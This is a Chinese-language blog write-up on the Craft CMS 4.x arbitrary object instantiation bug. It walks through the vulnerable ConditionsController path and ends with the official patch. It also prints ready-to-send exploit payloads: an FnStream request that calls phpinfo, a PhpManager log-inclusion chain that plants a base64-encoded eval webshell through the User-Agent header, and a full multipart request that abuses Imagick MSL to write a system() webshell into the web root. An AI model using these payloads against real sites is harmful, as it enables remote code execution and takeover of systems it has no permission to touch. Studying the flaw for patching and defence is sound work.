日常看看p神的知识星球有什么新trick,发现有人问了 craftcms 调用 imagick 写文件的方法,很经典的一个php原生类利用:Exploiting Arbitrary Object Instantiations in PHP without Custom Classes,但是实战一直没有遇到过,就趁这次机会好好学习一下

环境搭建

看到:https://craftcms.com/docs/4.x/requirements.html

需要使用php8以上版本,安装好所有的扩展,下载存在漏洞的版本:https://github.com/craftcms/cms/releases/download/4.4.14/CraftCMS-4.4.14.zip

安装步骤:https://craftcms.com/knowledge-base/first-time-setup

1
2
php craft setup
php craft serve

然后访问http://127.0.0.1:8080/即可看到成功安装

漏洞分析

官方通告:https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g

Affected versions
>= 4.0.0-RC1, <= 4.4.14

通过修复补丁可以看到存在漏洞的文件为:src/controllers/ConditionsController.php,触发点在 beforeAction 方法
在 yii 处理 Controller 的时候会自动调用该方法

可以看到解析传入的参数,然后需要满足createCondition($config),才能进入到 configure 方法

1
2
3
$baseConfig = Json::decodeIfJson($this->request->getBodyParam('config'));
$config = $this->request->getBodyParam($baseConfig['name']);
$conditionsService->createCondition($config)

跟进到src/services/Conditions.php

获取变量$class ,不管这个值是数组还是字符串,都应该为 ConditionInterface 类的子类,否则直接抛出异常了
Ctrl+Alt+B 就可以看到所有的子类,随便取一个即可

然后跟进到yii\BaseYii::configure()

对一个不存在的成员变量赋值,会调用到yii\base\Component::__set()

注意到如果传入的键为as 开头,就会调用到 createObject 方法
yii\BaseYii::createObject()

如果传入的参数存在键__class或者class,就会执行static::$container->get($class, $params, $type)
yii\di\Container::get()

执行build方法进行类的创建,我们能够创建任意对象,并会调用该类的__construct(),在对象被销毁时则会调用__destruct方法

漏洞利用

全局查找__construct__destruct,可以查找到所有能利用的类

FnStream.php

vendor\guzzlehttp\psr7\src\FnStream.php

namespace 为 GuzzleHttp\Psr7

我们可以对_fn_close变量赋值,在销毁时会触发 call_user_func 方法,可以执行phpinfo

POST传参:

1
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}

PhpManager.php

vendor\yiisoft\yii2\rbac\PhpManager.php

namespace 为 yii\rbac,是一个 require 文件包含

1
2
3
4
yii\base\BaseObject::__construct()
yii\rbac\PhpManager::init()
yii\rbac\PhpManager::load()
yii\rbac\PhpManager::loadFromFile()

那么马上就能想到包含日志文件,看到:Logging | Craft CMS Documentation | 4.x

在目录storage/logs/下存在文件web-[Y-m-d].log,按照年月日命名,里面存储了web的请求内容,我们直接包含这个文件即可

1
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/www/html/craft/storage/logs/web-2023-09-26.log"}]}}

User-Agent头传参防止被编码,第一次请求写入,第二次请求包含

由于单双引号会被反斜杠转义,考虑直接使用反引号命令执行

1
User-Agent: <?php `echo PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=|base64 -d>shell.php`;?>

Imagick

需要环境:php-imagick
我们可以想到原生类的利用:任意代码执行下的php原生类利用

看到 Imagick 类,它的构造函数只有一个参数,可以是字符串或字符串数组

一、MSL
MSL全称是Magick Scripting Language,它是一种内置的 ImageMagick 语言,其中存在两个标签<read><write>可以用于读取和写入文件,这个 Trick 的核心就是利用这两个标签写入任意文件Webshell
https://imagemagick.org/script/conjure.php#msl

二、vid协议
ImageMagick中有一个协议vid:https://github.com/ImageMagick/ImageMagick/blob/d2a918098878bd73a57a34b901b5ae85c0c8d17f/coders/vid.c#L98,会调用 ExpandFilenames 函数

可以用于包裹其他协议或者文件名,其增加了对 glob 通配符的支持,这样我们就可以通过*的方式来包含一些我们不知道完整文件名的文件

即使用new Imagick('vid:msl:/tmp/php*');让 Imagick 加载并解析 PHP 上传的临时文件

三、漏洞利用

  1. <read>标签可以读取一个图片,图片可以来自于远程http,也可以来自于本地
  2. <write>标签可以将前面获取的图片写入到另一个位置,而且文件名可控
  3. <comment>标签可以给生成的图片加注释,所以我们将Webshell编码后放在这个标签里即可

一种方法就是利用本地图片,POC:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/usr/share/doc/ImageMagick-7/www/wand.png"/>
<comment>HTML实体编码后的Webshell</comment>
<write filename="shell.php" />
</image>

还有一种方法就是使用caption:info:协议

最后的请求如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: */*
Host: 192.168.111.178:8080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------974726398307238472515955
Content-Length: 850

----------------------------974726398307238472515955
Content-Disposition: form-data; name="action"

conditions/render
----------------------------974726398307238472515955
Content-Disposition: form-data; name="configObject"

craft\elements\conditions\ElementCondition
----------------------------974726398307238472515955
Content-Disposition: form-data; name="config"

{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}
----------------------------974726398307238472515955
Content-Disposition: form-data; name="image"; filename="poc.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;"/>
<write filename="info:/var/www/html/craft/web/shell.php">
</image>
----------------------------974726398307238472515955--

虽然能成功写入,但是执行后会造成 Segmentation fault (core dumped) ,可能导致程序崩溃服务关闭,所以一般不建议使用该方法

参考:
https://wx.zsxq.com/dweb2/index/topic_detail/411544512844188
https://blog.calif.io/p/craftcms-rce
https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226

漏洞修复

https://github.com/craftcms/cms/commit/7359d18d46389ffac86c2af1e0cd59e37c298857
https://github.com/craftcms/cms/commit/a270b928f3d34ad3bd953b81c304424edd57355e

使用Component::cleanseConfig对传入的 config 进行处理

移除所有以on or as 开头的键